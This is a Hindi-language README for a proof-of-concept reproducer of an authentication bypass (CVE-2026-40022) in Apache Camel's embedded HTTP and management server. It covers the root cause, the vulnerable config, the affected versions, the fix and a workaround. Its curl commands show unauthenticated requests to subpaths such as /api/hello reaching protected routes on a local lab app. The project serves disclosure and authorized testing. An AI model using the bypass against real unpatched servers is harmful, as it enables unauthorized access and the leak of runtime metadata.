
CVE-2026-40022 के लिए रिप्रोड्यूसर: Apache Camel camel-platform-http-main गैर-रूट संदर्भ पथों पर प्रमाणीकरण बाईपास
यह प्रोजेक्ट Apache Camel के camel-platform-http-main घटक (Camel main रनटाइम का एम्बेडेड HTTP / प्रबंधन सर्वर) में एक प्रमाणीकरण बाईपास प्रदर्शित करता है, जिसे CVE-2026-40022 के रूप में ट्रैक किया गया है। जब प्रमाणीकरण सक्षम होता है और एक गैर-रूट संदर्भ पथ (जैसे /api या /admin) कॉन्फ़िगर किया जाता है, तो प्रमाणीकरण हैंडलर केवल सटीक संदर्भ पथ को कवर करता है, इसलिए उपपथों पर अप्रमाणित अनुरोध संरक्षित रूट्स और प्रबंधन एंडपॉइंट्स तक पहुँच जाते हैं।
परामर्श: https://camel.apache.org/security/CVE-2026-40022.html
| गुण | मान |
|---|
| घटक | camel-platform-http-main (Camel main runtime एम्बेडेड HTTP/प्रबंधन सर्वर) |
| प्रभावित वर्ग | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| मूल कारण | जब authenticationPath सेट नहीं होता है तो यह camel.server.path से प्राप्त होता है; Vert.x सब-राउटर माउंटिंग मॉडल के साथ प्रमाणीकरण हैंडलर केवल सटीक संदर्भ पथ से मेल खाता है, इसके उपपथों से नहीं |
| CWE | CWE-287: अनुचित प्रमाणीकरण (प्रमाणीकरण बाईपास) |
| प्रभाव | संरक्षित व्यावसायिक रूट्स और प्रबंधन एंडपॉइंट्स (जैसे /observe/info रनटाइम-मेटाडेटा प्रकटीकरण) तक अप्रमाणित पहुँच |
| प्रभावित संस्करण | 4.14.1 से पहले 4.14.6 तक, और 4.15.0 से पहले 4.18.2 तक |
| निश्चित संस्करण | 4.14.6, 4.18.2, 4.20.0 |
| रिपोर्टर | Jihang Yu |
| PRs | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) |
BasicAuthenticationConfigurer (और JWTAuthenticationConfigurer) उस पथ को हल करते हैं जिसे प्रमाणीकरण हैंडलर properties.getAuthenticationPath() से सुरक्षित करता है, और जब यह स्पष्ट रूप से सेट नहीं होता है तो properties.getPath() ( camel.server.path संदर्भ पथ) पर वापस आ जाता है:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
Vert.x सर्वर <contextPath>* पर एक सब-राउटर माउंट करता है और प्रमाणीकरण हैंडलर को उस सब-राउटर के अंदर हल किए गए पथ पर पंजीकृत करता है। प्रभावित संस्करणों में हल किया गया पथ स्वयं संदर्भ पथ होता है, इसलिए — पहले से /api पर माउंट किए गए सब-राउटर के सापेक्ष — प्रमाणीकरण हैंडलर प्रत्येक उपपथ के बजाय /api/api से मेल खाता है। परिणामस्वरूप:
/api/api चुनौती दी जाती है (401) — हैंडलर मौजूद है, बस गलत-स्कोप किया गया है/api/hello (वास्तविक व्यावसायिक रूट) चुनौती नहीं दी जाती है → बिना क्रेडेंशियल्स के परोसा जाता हैफिक्स resolveAuthenticationPath को /* लौटाने पर मजबूर करता है, ताकि हैंडलर सब-राउटर के सभी उपपथों को कवर करे।
application.properties — प्रमाणीकरण सक्षम और authenticationPath सेट न होने पर एक गैर-रूट संदर्भ पथ:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
रूट /api/hello पर परोसा जाता है।
कोई बाहरी सेवा या Docker कंटेनर आवश्यक नहीं है — कमजोर HTTP सर्वर स्वयं ऐप है।
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
BasicAuthHandler सक्रिय है — लेकिन सटीक संदर्भ पथ पर गलत-स्कोप किया गया है।
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (this is a PROTECTED business route)
एक निश्चित संस्करण (4.14.6 / 4.18.2 / 4.20.0) पर यह 401 अनधिकृत लौटाता है।
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
यही दोष प्रबंधन सर्वर (camel.management.path, जैसे /admin) पर भी लागू होता है। एक उपपथ जैसे /admin/observe/info पर एक अप्रमाणित अनुरोध प्रबंधन एंडपॉइंट तक पहुँचता है, जो रनटाइम मेटाडेटा प्रकट कर सकता है: OS उपयोगकर्ता, काम/होम निर्देशिका, प्रक्रिया आईडी, JVM और OS जानकारी।
camel-platform-http-main के साथ।camel.server.path / camel.management.path)।camel.server.authenticationPath / camel.management.authenticationPath स्पष्ट रूप से सेट न हो।4.14.6 / 4.18.2 / 4.20.0 पर अपग्रेड करें। फिक्स (resolveAuthenticationPath) प्रमाणीकरण हैंडलर को प्रत्येक उपपथ को कवर करने पर मजबूर करता है:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // was: the exact context path
}
अपग्रेड करने तक:
camel.server.authenticationPath = /* (और camel.management.authenticationPath = /*) ताकि हैंडलर सभी उपपथों को कवर करे।CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main runtime entry point
│ └── HelloRoute.java # a protected platform-http route (/api/hello)
└── resources/
├── application.properties # non-root path + auth enabled (the vulnerable config)
└── auth.properties # basic-auth user (camel / propertiesPass)
यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और निश्चित भेद्यता के लिए। इसे स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें।